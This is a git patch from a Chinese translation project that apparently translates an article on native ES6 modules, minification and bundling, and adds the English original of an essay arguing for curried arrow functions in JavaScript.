+这儿有几个问题。首先，JavaScript 在 ES6 模块中运行与平常在 script 元素中不同。Axel Rauschmayer 在[他的探索 ES6 一书](http://exploringjs.com/es6/ch_modules.html#sec_modules-vs-scripts)中很好地讨论了这个问题。我推荐你点击上面的链接阅读这本书，但是在此我先快速地总结一下主要的不同点：
 
-There are a few gotchas here, though. First of all, JavaScript running in an ES6 module is not quite the same as in a regular script element. Axel Rauschmayer covers this quite nicely in [his book Exploring ES6](http://exploringjs.com/es6/ch_modules.html#sec_modules-vs-scripts). I highly recommend you check it out but let's just quickly mention the main differences:
+- ES6 模块默认在严格模式下运行（因此你不需要加上 `use strict` 了）。
+- `this` 指向的最高一级对象是 `undefined`（而不是 window）。
+- 最高级变量是 module 的局部变量（而不是 global）。
+- ES6 模块会在浏览器完成 HTML 的分析之后异步加载与执行。
 
-- ES6 modules are running in strict mode by default (no need for `'use strict'` anymore).
-- Top-level value of `this` is `undefined`.
-- Top-level variables are local to the module.
-- ES6 modules are loaded and executed asynchronously after the browser finished parsing the HTML.
+我认为，这些特性是巨大进步。模块是局部的——这意味着我们不再需要到处使用 IIFE 了，而且我们不用再担心全局变量泄露。而且默认在严格模式下运行，意味着我们可以在很多地方抛弃  `use strict` 声明。
 
-In my opinion, these are all huge advantages. Modules are local – there is no need for IIFEs around everything, and also we don't have to fear global variable leaking anymore. Also running in strict mode by default means that we can drop a lot of `'use strict'` statements.
+> 译注：IIFE 全称 immediately-invoked function expression，即立即执行函数，也就是大家熟知的在函数后面加括号。
 
-And from a performance point of view (probably the most important one) **modules load and execute deferred by default**. So we won't accidentally add blocking scripts to our website and there is no [SPOF](https://www.stevesouders.com/blog/2010/06/01/frontend-spof/) issue when dealing with script `type="module"` elements. We could place an `async` attribute on it, which overwrites the default deferred behavior, but `defer`[is a good choice these days](https://calendar.perfplanet.com/2016/prefer-defer-over-async/).
+从改善性能的观点来看（可能是最重要的进步），**模块默认会延迟加载与执行**。因此我们将不再会不小心给我们的网站加上了阻碍加载的代码，使用 `type="module"` 的 script 元素也不再会有 [SPOF](https://www.stevesouders.com/blog/2010/06/01/frontend-spof/) 问题。我们也可以给它加上一个 `async` 属性，它将会覆盖默认的延迟加载行为。不过使用  `defer` [在现在也是一个不错的选择](https://calendar.perfplanet.com/2016/prefer-defer-over-async/)。
+
+> 译注：SPOF 全称 Single Points Of Failure——单点故障
 
 ```
 <!-- not blocking with defer default behavior -->
@@ -194,13 +197,13 @@ And from a performance point of view (probably the most important one) **modules
 </script>
 ```
 
-In case you want to check the details around that, the [script element spec](https://html.spec.whatwg.org/multipage/scripting.html#the-script-element) is an understandable read and includes some examples.
+如果你想详细了解这方面内容，可以阅读 [script 元素说明书](https://html.spec.whatwg.org/multipage/scripting.html#the-script-element)，这篇文章简单易读，并且包含了一些示例。
 
-## Minifying of pure ES6 ##
+## 压缩纯 ES6 代码 ##
 
-But we're not quite there yet! We serve a minified bundle for Chrome and individual not minified files for Safari Preview now. How can we make these smaller? UglifyJS should do the job just fine, right?
+还没完！我们现在能为 Chrome 提供压缩过的代码包，但是还不能为 Safari Preview 提供单独压缩过的文件。我们如何让这些文件变得更小呢？UglifyJS 能完成这项任务吗？
 
-It turns out that UglifyJS is not able to fully deal with ES6 code yet. There is a `harmony` development branch available, but unfortunately it didn't work with my three JavaScript files at the time of writing.
+然而必须指出，UglifyJS 并不能完全处理好 ES6 代码。虽然它有个 `harmony` 分支（[地址](https://github.com/mishoo/UglifyJS2/tree/harmony)）支持ES6，但不幸的是在我写这 3 个 JavaScript 文件的时候它并不能正常工作。
 
 ```
 $ uglifyjs dep-1.js -o dep-1.min.js
@@ -212,12 +215,11 @@ SyntaxError: Unexpected token: punc (()
 FAIL: 1
 ```
 
+但是现在 UglifyJS 几乎存在于所有工具链中，那全部使用 ES6 编写的工程应该怎么办呢？
 
-But UglifyJS is in every toolchain today, how does this work for all the projects written in ES6 out there?
-
-The usual flow is that tools like Babel transpile to ES5, and then Uglify comes into play to minify this ES5 code. I want to ignore ES5 transpilation in this article: we're dealing with the future here, Chrome has [97% ES6 coverage](https://kangax.github.io/compat-table/es6/#chrome59) and Safari Preview has already fabulous [100% ES6 coverage since version 10](https://kangax.github.io/compat-table/es6/#safari10_1).
+通常的流程是使用 Babel 之类的工具将代码转换为 ES5，然后使用 Uglify 对 ES5 代码进行压缩处理。但是在这篇文章里我不想使用 ES5 翻译工具，因为我们现在是要寻找面向未来的处理方式！Chrome 已经[覆盖了 97% ES6 规范](https://kangax.github.io/compat-table/es6/#chrome59) ，而 Safari Preview 版[自 verion 10 之后已经 100% 很好地支持 ES6](https://kangax.github.io/compat-table/es6/#safari10_1)了。
 
-I asked the Twittersphere if there is a minifier available that can deal with ES6, and [Lars Graubner](https://twitter.com/larsgraubner) pointed me towards [Babili](https://github.com/babel/babili). Using Babili, we can easily minify the ES6 modules.
+我在推特中提问是否有能够处理 ES6 的压缩工具，[Lars Graubner](https://twitter.com/larsgraubner) 告诉我可以使用 [Babili](https://github.com/babel/babili)。使用 Babili，我们能够轻松地对 ES6 模块进行压缩。
 
 
 ```
@@ -231,7 +233,7 @@ export default function() {
 export default function(){return 'Hello World. dependencies loaded.'}
 ```
 
-With the Babili CLI tool, it's almost too easy to minify all the files separately.
+使用 Babili CLI 工具，可以轻松地分别压缩各个文件。
 
 ```
 $ babili app -d dist/modules
@@ -240,7 +242,7 @@ app/dep-2.js -> dist/modules/dep-2.js
 app/index.js -> dist/modules/index.js
 ```
 
-The result looks then as follows.
+最终结果：
 
 ```
 $ ll dist
@@ -252,19 +254,19 @@ $ ll dist/modules
 -rw-r--r--  1 stefanjudis  staff   161B Mar 16 22:32 index.js
 ```
 
-The bundle is still roughly around 850B, and all the files are around 300B in total. I'm ignoring GZIP compression here as [it doesn't work well on such small file sizes](http://webmasters.stackexchange.com/questions/31750/what-is-recommended-minimum-object-size-for-gzip-performance-benefits) (we'll get back to that later).
+代码包仍然是大约 850B，所有文件加起来大约是 300B。我没有使用 GZIP，因为[它并不能很好地处理小文件](http://webmasters.stackexchange.com/questions/31750/what-is-recommended-minimum-object-size-for-gzip-performance-benefits)。（我们稍后会提到这个）
 
-## Speeding up ES6 modules with rel=preload? ##
+## 能通过 rel=preload 来加速 ES6 的模块加载吗？ ##
 
-The minification of the single JS files is a huge success. It's 298B vs. 856B, but we could even go further and speed things up more. Using ES6 modules we are now able to ship less code, but looking at the waterfall again we'll see that the requests are made sequentially because of the defined dependency chain of the modules.
+对单个 JS 文件进行压缩取得了很好的效果。文件大小从 856B 降低到了 298B，但是我们还能进一步地加快加载速度。通过使用 ES6 模块，我们可以装载更少的代码，但是看看瀑布图你会发现，request 会按照模块的依赖链一个一个连续地加载。
 
-What if we could throw `<link rel="preload" as="script">` elements in the mix which can be used to tell the browser upfront that additionally requests will be made soon? We have build tool plugins like Addy Osmani's [Webpack preload plugin](https://github.com/GoogleChrome/preload-webpack-plugin) for code splitting already – is something like this possible for ES6 modules? In case you don't know how `rel="preload"` works, you should check out the [article on this topic](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/) by Yoav Weiss on Smashing Magazine.
+那如果我们像之前在浏览器中对代码进行预加载那样，用  `<link rel="preload" as="script">` 元素告知浏览器要加载额外的 request，是否会加快模块的加载速度呢？在 Webpack 中，我们已经有了类似的工具，比如 Addy Osmani 的 [Webpack 预加载插件](https://github.com/GoogleChrome/preload-webpack-plugin)可以对分割的代码进行预加载，那 ES6 模块有没有类似的方法呢？如果你还不清楚 `rel="preload"` 是如何运作的，你可以先阅读 Yoav Weiss 在 Smashing Magazine 发表的相关文章：[点击阅读](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)
 
-Unfortunately, preloading of ES6 modules is not so easy because they behave differently than normal scripts. The question is how a link element with a set `rel="preload"` attribute should treat an ES6 module? Should it fetch all the dependent files, too? This is an obvious question to answer, but there are more browser internal problems to solve, too, if module treatment should go into the `preload` directive. In case you're interested in this topic [Domenic Denicola](https://twitter.com/domenic) discusses these problems [in a GitHub issue](https://github.com/whatwg/fetch/issues/486), but it turns out that there are too many differences between scripts and modules to implement ES6 module treatment in the `rel="preload"` directive. The solution might be another `rel="modulepreload"` directive to clearly separate functionalities, with [the spec pull request](https://github.com/whatwg/html/pull/2383) pending at the time of writing, so let's see how we'll preload modules in the future.
+但是，ES6 模块的预加载并不是那么简单，他们与普通的脚本有很大的不同。那么问题来了,对一个 link 元素加上  `rel="preload"` 将会怎样处理 ES6 模块呢？它也会取出所有的依赖文件吗？这个问题显而易见（可以），但是使用 `preload` 命令加载模块，需要解决更多浏览器的内部实现问题。[Domenic Denicola](https://twitter.com/domenic) 在[一个 GitHub issue](https://github.com/whatwg/fetch/issues/486) 中讨论了这方面的问题，如果你感兴趣的话可以点进去看一看。但是事实证明，使用 `rel="preload"` 加载脚本与加载 ES6 模块是截然不同的。可能以后最终的解决方案是用另一个 `rel="modulepreload"` 命令来专门加载模块。在本文写作时，[这个 pull request](https://github.com/whatwg/html/pull/2383) 还在审核中，你可以点进去看看未来我们可能会怎样进行模块的预加载。
 
-## Bringing in real dependencies ##
+## 加入真实情况中的依赖 ##
 
-Three files don't make a real app, so let's add a real dependency. Fortunately, [Lodash](https://lodash.com/) offers all of its functionality also in split ES6 modules, which I then minified using Babili. So let's modify the `index.js` file to also include a Lodash method.
+仅仅 3 个文件当然没法做一个真正的 app，所以让我们给它加一些真实情况中的依赖。[Lodash](https://lodash.com/) 根据 ES6 模块对它的功能进行了分割，并分别提供给用户。我取出其中一个功能，然后使用 Babili 进行压缩。现在让我们对 `index.js` 文件进行修改，引入这个 Lodash 的方法。
 
 
 ```
@@ -281,29 +283,29 @@ function getComponent() {
 document.body.appendChild(getComponent());
 ```
 
-The use of `isEmpty` is trivial in this case, but let's see what happens now after adding this dependency.
+在这个例子中，`isEmpty` 基本上没有被使用，但是在加上它的依赖后，我们可以看看发生了什么：
 
 ![image07](http://images.contentful.com/256tjdsmm689/13F95Xpl32Mu0MgE0mgS2o/c9dbc002e53bf56ee0eeb0df40b55f9c/image07.png)
 
-The request count went up to over 40, the page load time went up from roughly 100ms to something between 400ms and 800ms on a decent wifi connection, and the shipped overall size increased to approximately 12KB without compression. Unfortunately, Safari Preview is not available on [WebPagetest](https://www.webpagetest.org/) to run some reliable benchmarks.
+可以看到 request 数量增加到了 40 个以上，页面在普通 wifi 下的加载时间从大约 100 毫秒上升到了 400 到 800 毫秒，加载的数据总大小在没有压缩的情况下增加到了大约 12KB。可惜的是  [WebPagetest](https://www.webpagetest.org/) 在 Safari Preview 中不可用，我们没法给它做可靠的标准检测。
 
-Chrome receiving the bundled JavaScript, on the other hand, is at a slim ~8KB file size.
+但是，Chrome 收到打包后的 JavaScript 数据比较小，只有大约 8KB。
 
 ![image05](http://images.contentful.com/256tjdsmm689/6xxfWBW9nqAeqQ8ck0MqU/62a74102e9247d785a61a84766356f51/image05.png)
 
-This 4KB difference is definitely something to check. You can find this example at [lodash-module-on.stefans-playground.rocks](https://lodash-module-on.stefans-playground.rocks/).
+这 4KB 的差距是不能忽视的。你可以在 [lodash-module-on.stefans-playground.rocks](https://lodash-module-on.stefans-playground.rocks/) 找到本示例。
 
-### Compression works only well on larger files ###
+### 压缩工作仅对大文件表现良好 ###
 
-In case you looked closely at the screenshots of the Safari developer tools, you might have noticed that the transferred file size was actually bigger than the source. Especially in a large JavaScript app, including a lot of small chunks makes a big difference and that's because GZIP doesn't play well with small file sizes.
+如果你仔细看上面 Safari 开发者工具的截图，你可能会注意到转换后的文件大小其实比源码还要大。在很大的 JavaScript app 中这个现象会更加明显，一堆的小 Chunk 会造成文件大小的很大不同，因为 GZIP 并不能很好地压缩小文件。
 
-Khan Academy [discovered the same thing](http://engineering.khanacademy.org/posts/js-packaging-http2.htm) a while ago when experimenting with HTTP/2. The idea of shipping smaller files is great to guarantee perfect cache hit ratios, but at the end, it's always a tradeoff and it's depending on several factors. For a large code base splitting the code into several chunks (a *vendor* and an *app* bundle) makes sense, but shipping thousands of tiny files that can't be compressed properly is not the right approach.
+Khan Academy 在前一段时间[探究了同样的问题](http://engineering.khanacademy.org/posts/js-packaging-http2.htm)，他是用 HTTP/2 进行研究的。装载更小的文件能够很好地确保缓存命中率，但到最后它一般都会作为一个权衡方案，而且它的效果会被很多因素影响。对于一个很大的代码库来说，分解成若干个 chunk（一个 *vendor* 文件和一个 app bundle）是理所当然的，但是要装载数千个不能被压缩的小文件可能并不是一种明智的方法。
 
-### Tree shaking is the cool kid in town ###
+### Tree shaking 是个超 COOL 的技术 ###
 
-Another thing to point out is that thanks to the relatively new tree shaking mechanism, build processes can eliminate code that's not used and imported by any other module. The first build tool that supported this was Rollup, but now Webpack in version 2 supports it as well — [as long as we disable the `module` option in babel](https://medium.freecodecamp.com/tree-shaking-es6-modules-in-webpack-2-1add6672f31b#22c4).
+必须要说：感谢非常新潮的 tree shaking 技术，通过它，构建进程可以将没有使用过以及没有被其它模块引用的代码删除。第一个支持这个技术的构建工具是 Rollup，现在 Webpack 2 也支持它——[只要我们在 babel 中禁用 `module` 选项](https://medium.freecodecamp.com/tree-shaking-es6-modules-in-webpack-2-1add6672f31b#22c4)。
 
-Let's say we changed `dep-2.js` to include things that won't be imported by `dep-1.js`.
+我们试着改一改 `dep-2.js`，让它包含一些不会在 `dep-1.js` 中使用的东西。
 
 ```
 export default function() {
@@ -315,20 +317,20 @@ export const unneededStuff = [
 ];
 ```
 
-Babili will simply minify the file and Safari Preview, in this case, would receive several code lines that are not used. A Webpack or Rollup bundle, on the other hand, won't include `unneededStuff`. Tree shaking offers huge savings that definitely should be used in a real production code base.
+Babili 将会简单地压缩文件，比如 Safari Preview 还是会接收到这几行没有用过的代码。而另一方面，Webpack 打的包或者 Rollup 打的包将不会包含这个 `unnededStuff`。Tree shaking 省略了大量代码，毫无疑问，它能够在真实的产品代码库中很好地发挥作用。
 
-## The future looks bright, but build processes are here to stay ##
+## 尽管未来很明朗，但是现在的构建过程仍然不会变动 ##
 
-So, ES6 modules are on their way, but it doesn't look like anything will change when they finally arrive in all the major browsers. We won't start shipping thousands of tiny files to guarantee good compression, and we won't abandon build processes to make use of tree shaking and dead code elimination. **Frontend development is and will be as complicated as always**.
+ES6 模块即将到来，但是直到它最终在各大主流浏览器中实现前，我们的开发并不会发生什么变化。我们既不会装载一堆小文件来确保压缩率，也不会为了使用 tree shaking 和死码删除来抛弃构建过程。**前端开发现在及将来都会一如既往地复杂**。
 
-**The most important thing to remember is that measuring is the key to succees**. Don't split everything and assume that it will lead to an improvement. Just because we might have support for ES6 modules in browsers soon, it doesn't mean that we can get rid of a build process and a proper "bundle strategy". Here at Contentful we'll stick to our build processes, and continue to ship bundles including our [JavaScript SDKs](https://www.contentful.com/developers/docs/javascript/).
+不要把所有东西都进行分割然后就假设它会改善性能。我们即将迎来 ES6 模块的浏览器原生支持，但是这不意味着我们可以抛弃构建过程与合适的打包策略。在我们 Contentful 这儿，将继续坚持我们的构建过程，以及继续使用我们的  [JavaScript SDKs](https://www.contentful.com/developers/docs/javascript/) 进行打包。
 
-Yet, I have to admit that Frontend development still feels great. JavaScript evolves, and we'll finally have a way to deal with modules baked into the language. I can't wait to see how and if this influences the JavaScript ecosystem and what the best practices will be in a couple of years.
+然而，我们必须承认现在前端的开发体验仍然良好。JavaScript 仍在进步，最终我们将能使用真正融入语言的模块。在几年后，原生模块对 JavaScript 生态的影响以及最佳实践方法将会是怎样的呢？让我们拭目以待。
 
-## Additional resources ##
+## 其它资源 ##
 
-- [Article series on ES6 modules](https://blog.hospodarets.com/native-ecmascript-modules-the-first-overview) by Serg Hospodarets
-- [The modules chapter](http://exploringjs.com/es6/ch_modules.html) in "[Exploring ES6](http://exploringjs.com/)"
+- [ES6 模块系列文章](https://blog.hospodarets.com/native-ecmascript-modules-the-first-overview) 作者：Serg Hospodarets
+- [《探索 ES6》](http://exploringjs.com/) 的 [模块章节](http://exploringjs.com/es6/ch_modules.html)
 
 ---
 

From 7d63868343567bca4bbf3b66766b09a8b9f780f8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Tue, 25 Apr 2017 23:27:20 +0800
Subject: [PATCH 259/638] Create
 familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md

---
 ...ack-its-time-to-embrace-arrow-functions.md | 306 ++++++++++++++++++
 1 file changed, 306 insertions(+)
 create mode 100644 TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md

diff --git a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
new file mode 100644
index 00000000000..6e84b0f8352
--- /dev/null
+++ b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
@@ -0,0 +1,306 @@
+> * 原文地址：[Familiarity Bias is Holding You Back: It’s Time to Embrace Arrow Functions](https://medium.com/javascript-scene/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions-3d37e1a9bb75)
+> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)
+> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
+> * 译者：
+> * 校对者：
+
+# Familiarity Bias is Holding You Back: It’s Time to Embrace Arrow Functions #
+
+![](https://cdn-images-1.medium.com/max/800/1*Dwv24VW3sEuGBo4BqrsRQg.jpeg)
+
+“Anchor” — Actor212 — (CC BY-NC-ND 2.0)
+
+I teach JavaScript for a living. Recently I’ve shuffled around my curriculum to teach curried arrow functions sooner — within the first few lessons. I moved it earlier in the curriculum because it’s an extremely valuable skill, and students pick up currying with arrows **a lot quicker** than I thought they would.
+
+If they can understand it and take advantage of it earlier, why not teach it earlier?
+
+> Note: My courses are not designed for people who have never touched a line of code before. Most students join after spending at least a few months coding — on their own, in a bootcamp, or professionally. However, I have seen many junior developers with little or no experience pick these topics up quickly.
+
+I’ve seen a bunch of students get a working familiarity with curried arrow functions within the span of a single 1-hour lesson. (If you’re a member of [“Learn JavaScript with Eric Elliott”](https://ericelliottjs.com/product/lifetime-access-pass/), you can watch the 55-minute [ES6 Curry & Composition](https://ericelliottjs.com/premium-content/es6-curry-composition/).
+
+Seeing how quickly students pick it up and start wielding their new-found curry powers, I’m always a bit surprised when I post curried arrow functions on Twitter, and the Twitterverse responds with outrage at the thought of inflicting that “unreadable” code on the people who will need to maintain it.
+
+First, let me give you an example of what we’re talking about. The first time I noticed the backlash was the Twitter response to this function:
+
+```
+const secret = msg => () => msg;
+```
+
+I was shocked when people on Twitter accused me of trying to confuse people. I wrote that function to demonstrate how **easy** it is to express curried functions in ES6. It is the **simplest** practical application and expression of a closure that I can think of in JavaScript. (Related: [“What is a Closure?”](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-a-closure-b2f0d2152b36)).
+
+It’s equivalent to the following function expression:
+
+```
+const secret = function (msg) {
+  return function () {
+    return msg;
+  };
+};
+```
+
+`secret()` is a function which takes a `msg` and returns a new function which returns the `msg`. It takes advantage of closures to fix the value of `msg` to whatever value you pass into `secret()`.
+
+Here’s how you use it:
+
+```
+const mySecret = secret('hi');
+mySecret(); // 'hi'
+```
+
+It turns out, the “double arrow” is what confused people. I’m convinced that this is a fact:
+
+> With familiarity, in-line arrow functions are the **most readable** way to express curried functions in JavaScript.
+
+Many people have argued to me that the longer form is easier to read than the shorter form. They’re partly right, but mostly wrong. It’s more verbose, and more explicit, but not easier to read — at least, not to somebody **familiar** with arrow functions.
+
+The objections I saw on Twitter just weren’t jiving with the smooth learning experience my students were enjoying. In my experience, students take to curried arrow functions like fish take to water. Within days of learning them, they are one with the arrows. They sling them effortlessly to tackle all sorts of coding challenges.
+
+I don’t see any sign that arrow functions are “hard” for them to learn, to read, or to understand — once they have made the initial investment of learning them over the course of a few 1-hour lessons and study sessions.
+
+They easily read curried arrow functions they have never seen before and explain to me what’s going on. They naturally write their own when I present a challenge to them.
+
+In other words, as soon as they become **familiar** with seeing curried arrow functions, they have **no trouble **with them. They read them as easily as you are reading this sentence — and their understanding is reflected in much simpler code with fewer bugs.
+
+### Why Some People Think Legacy Function Expressions Look “Easier” to Read ###
+
+**Familiarity bias** is a measurable [human cognitive bias](https://www.psychologytoday.com/blog/mind-my-money/200807/familiarity-bias-part-i-what-is-it) that leads us to make self-destructive decisions despite being aware of a better option. We keep using the same old patterns in spite of knowing about better patterns out of comfort and habit.
+
+You can learn a lot more about familiarity bias (and a lot of other ways we fool ourselves) from the excellent book, [“The Undoing Project: A Friendship that Changed Our Minds”](https://www.amazon.com/Undoing-Project-Friendship-Changed-Minds-ebook/dp/B01GI6S7EK/ref=as_li_ss_tl?ie=UTF8&amp;qid=1492606452&amp;sr=8-1&amp;keywords=the+undoing+project&amp;linkCode=ll1&amp;tag=eejs-20&amp;linkId=4ebd1476f97023e8acb4bba37ea18b90). This book should be required reading for every software developer, because it encourages you to think more critically and test your assumptions in order to avoid falling into a variety of cognitive traps — and the story of how those cognitive traps were discovered is really good, too.
+
+### Legacy Function Expressions are Probably Causing Bugs in Your Code ###
+
+Today I was rewriting a curried arrow function from ES6 to ES5 so that I could publish it as an open-source module that people could use in old browsers without transpiling. The ES5 version shocked me.
+
+The ES6 version was simple, short, and elegant — only 4 lines.
+
+I thought for sure, **this** was the function that would prove to Twitter that arrow functions are superior, and that people should abandon their legacy functions like the bad habit they are.
+
+So I tweeted:
+
+[![Markdown](http://i2.muimg.com/1949/15826825ba3ae5a9.png)](https://twitter.com/_ericelliott/status/854608052967751680/photo/1)
+
+Here’s the text of the functions, in case the image isn’t working for you:
+
+```
+// curried with arrows
+const composeMixins = (...mixins) => (
+  instance = {},
+  mix = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)
+) => mix(...mixins)(instance);
+// vs ES5-style
+var composeMixins = function () {
+  var mixins = [].slice.call(arguments);
+  return function (instance, mix) {
+    if (!instance) instance = {};
+    if (!mix) {
+      mix = function () {
+        var fns = [].slice.call(arguments);
+        return function (x) {
+          return fns.reduce(function (acc, fn) {
+            return fn(acc);
+          }, x);
+        };
+      };
+    }
+    return mix.apply(null, mixins)(instance);
+  };
+};
+```
+
+The function in question is a simple wrapper around `pipe()`, a standard functional programming utility commonly [used to compose functions](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-function-composition-20dfb109a1a0). A `pipe()` function exists in lodash as `lodash/flow`, in Ramda as `R.pipe()`, and even has its own operator in several functional programming languages.
+
+It should be familiar to everybody familiar with [functional programming](https://medium.com/javascript-scene/master-the-javascript-interview-what-is-functional-programming-7f218c68b3a0). As should its primary dependency: [Reduce](https://medium.com/javascript-scene/reduce-composing-software-fe22f0c39a1d).
+
+In this case, it’s being used to compose functional mixins, but that’s an irrelevant detail (and a whole other blog post). Here are the important details:
+
+The function takes any number of functional mixins and returns a function which applies them one after the other in a pipeline — like an assembly line. Each functional mixin takes the `instance` as an input, and tacks some stuff onto it before passing it on to the next function in the pipeline.
+
+If you omit the `instance`, a new object gets created for you.
+
+Sometimes we may want to compose the mixins differently. For example, you may want to pass `compose()` instead of `pipe()` to reverse the order of precedence.
+
+If you don’t need to customize the behavior, you simply leave the default alone, and get standard `pipe()` behavior.
+
+### Just the Facts ###
+
+Opinions about readability aside, here are **the objective facts** pertaining to this example:
+
+- I have multiple years’ experience with both ES5 and ES6 function expressions, arrows or otherwise. Familiarity bias is **not** a variable in this data.
+- I wrote the ES6 version in a few seconds. It contained zero bugs (that I’m aware of — it passes all its unit tests).
+- It took me several minutes to write the ES5 version. At least an order of magnitude more time. Minutes vs seconds. I lost my place in the function indentations twice. I wrote 3 bugs, all of which I had to debug and fix. Two of which I had to resort to `console.log()` to figure out what was going on.
+- The ES6 version is 4 lines of code.
+- The ES5 version is 21 lines long (17 actually contain code).
+- In spite of its tedious verbosity, the ES5 version actually loses some of the information fidelity that is available in the ES6 version. It’s much longer, but **communicates less**, read on for details.
+- The ES6 version contains 2 spreads for function parameters. The ES5 version omits the spreads, and instead uses the *implicit*`arguments` object, which hurts the readability of the function signature (fidelity downgrade 1).
+- The ES6 version defines the default for `mix` in the function signature so you can clearly see that it’s a value for a parameter. The ES5 version obscures that detail and instead hides it deep inside the function body. (fidelity downgrade 2).
+- The ES6 version has only 2 levels of indentation, which helps clarify the structure of how it should be read. The ES5 version has 6, and the nesting levels obscure rather than aid the readability of the function’s structure (fidelity downgrade 3).
+
+In the ES5 version, `pipe()` occupies most of the function body — so much so that it’s a bit **insane** to define it inline. It really **needs** to be broken out into a separate function to make the ES5 version readable:
+
+```
+var pipe = function () {
+  var fns = [].slice.call(arguments);
+
+  return function (x) {
+    return fns.reduce(function (acc, fn) {
+      return fn(acc);
+    }, x);
+  };
+};
+
+var composeMixins = function () {
+  var mixins = [].slice.call(arguments);
+
+  return function (instance, mix) {
+    if (!instance) instance = {};
+    if (!mix) mix = pipe;
+
+    return mix.apply(null, mixins)(instance);
+  };
+};
+```
+
+This seems clearly more readable and understandable to me.
+
+Let’s see what happens when we apply the same readability “optimization” to the ES6 version:
+
+```
+const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x);
+
+const composeMixins = (...mixins) => (
+  instance = {},
+  mix = pipe
+) => mix(...mixins)(instance);
+```
+
+Like the ES5 optimization, this version is more verbose (it adds a new variable that wasn’t there before). Unlike the ES5 version, this version is **not significantly more readable** after abstracting the definition of pipe. After all, it already had a variable name clearly assigned to it *in the function signature:*`mix`.
+
+The definition of `mix` was already contained on its own line, which makes it unlikely for readers to get confused about where it ends and the rest of the function continues.
+
+Now we have 2 variables representing the same thing instead of 1. Have we gained very much? Not obviously, no.
+
+So why is the ES5 version **obviously better** with the same function abstracted?
+
+Because the ES5 version is **obviously more complex.** The source of that complexity is the crux of this matter. I assert that the source of the complexity boils down to **syntax noise**, and that syntax noise is **obscuring the meaning of the function**, not helping.
+
+Let’s shift gears and eliminate some more variables. Let’s use ES6 for both examples, and only compare *arrow functions* vs *legacy function expressions:*
+
+```
+var composeMixins = function (...mixins) {
+  return function (
+    instance = {},
+
+    mix = function (...fns) {
+      return function (x) {
+        return fns.reduce(function (acc, fn) {
+          return fn(acc);
+        }, x);
+      };
+    }
+  ) {
+    return mix(...mixins)(instance);
+  };
+};
+```
+
+This looks significantly more readable to me. All we’ve changed is that we’re taking advantage of **rest** and **default parameter** syntax. Of course, you’ll have to be **familiar** with rest and default syntax in order for this version to be more readable, but even if you’re not, I think it’s obvious that this version is still **less cluttered**.
+
+That helped a lot, but it’s still clear to me that this version is still cluttered enough that abstracting `pipe()` into its own function would **obviously help:**
+
+```
+const pipe = function (...fns) {
+  return function (x) {
+    return fns.reduce(function (acc, fn) {
+      return fn(acc);
+    }, x);
+  };
+};
+
+// Legacy function expressions
+const composeMixins = function (...mixins) {
+  return function (
+    instance = {},
+    mix = pipe
+  ) {
+    return mix(...mixins)(instance);
+  };
+};
+```
+
+That’s better, right? Now that the `mix` assignment only occupies a single line, the structure of the function is much more clear — but there’s still too much syntax noise for my taste. In `composeMixins()`, it’s not clear to me at a glance where one function ends and another begins.
+
+Rather than call out function bodies, that `function` keyword seems to visually **blend in** with the identifiers around it. There are functions **hiding** in my function! Where does the parameter signature end and the function body begin? I can figure it out out if I look closely, but it’s not visually obvious to me.
+
+What if we could get rid of the function keyword, and call out return values by visually pointing to them with a big **fat arrow** `=>`instead of writing a `return` keyword that blends in with surrounding identifiers?
+
+Turns out, we can, and here’s what that looks like:
+
+```
+const composeMixins = (...mixins) => (
+  instance = {},
+  mix = pipe
+) => mix(...mixins)(instance);
+```
+
+Now it should be clear what’s going on. `composeMixins()` is a function that takes any number of `mixins` and returns a function that takes two optional parameters, `instance`, and `mix`. It returns the result of piping `instance` through the composed `mixins`.
+
+Just one more thing… if we apply the same optimization to `pipe()`, it magically transforms into a one-liner:
+
+```
+const pipe = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x);
+```
+
+With that definition on one-line, the advantage of abstracting it out into its own function is less clear. Remember, this function exists as a utility in Lodash, Ramda, and a bunch of other libraries, but is it really worth the overhead of importing another library?
+
+Is it even worth pulling it out into its own line? Probably. They’re really two different functions, and separating them makes that more clear.
+
+On the other hand, having it in-line clarifies type and usage expectations when you look at the parameter signature. Here’s what happens when we create it in-line:
+
+```
+const composeMixins = (...mixins) => (
+  instance = {},
+  mix = (...fns) => x => fns.reduce((acc, fn) => fn(acc), x)
+) => mix(...mixins)(instance);
+```
+
+Now we’re back to the original function. Along the way, **we didn’t discard any meaning.** In fact, by declaring our parameters and default values inline, we **added information** about how the function is used, and what the values of the parameters might look like.
+
+All that extra code in the ES5 version was just noise. Syntax noise. It didn’t serve **any useful purpose** except to acclimate people who are **unfamiliar** with curried arrow functions.
+
+Once you have gained sufficient familiarity with curried arrow functions, it should be clear that the original version is **more readable** because there’s a lot less syntax to get lost in.
+
+It’s also **less error-prone**, because there’s a lot less surface area for bugs to hide in.
+
+I suspect there are lots of bugs hiding in legacy functions that would be found and eliminated if you were to upgrade to arrow functions.
+
+I also supect that your team would become significantly more productive if you learned to embrace and favor more of the concise syntax available in ES6.
+
+While it’s true that sometimes things are easier to understand if they’re made explicit, it’s also true that as a general rule, less code is better.
+
+If less code can accomplish the same thing and communicate more, without sacrificing any meaning, it’s **objectively** better.
+
+The key to knowing the difference is meaning. If more code fails to add more meaning, that code should not exist. That concept is so basic, it is a well-known style guideline for natural language.
+
+The same style guideline applies to source code. Embrace it, and your code will be better.
+
+At the end of the day, a light in the darkness. In response to yet another tweet saying the ES6 version less readable:
+
+[![Markdown](http://i2.muimg.com/1949/4287b75aa0b58a9d.png)](https://twitter.com/blakenewman)
+
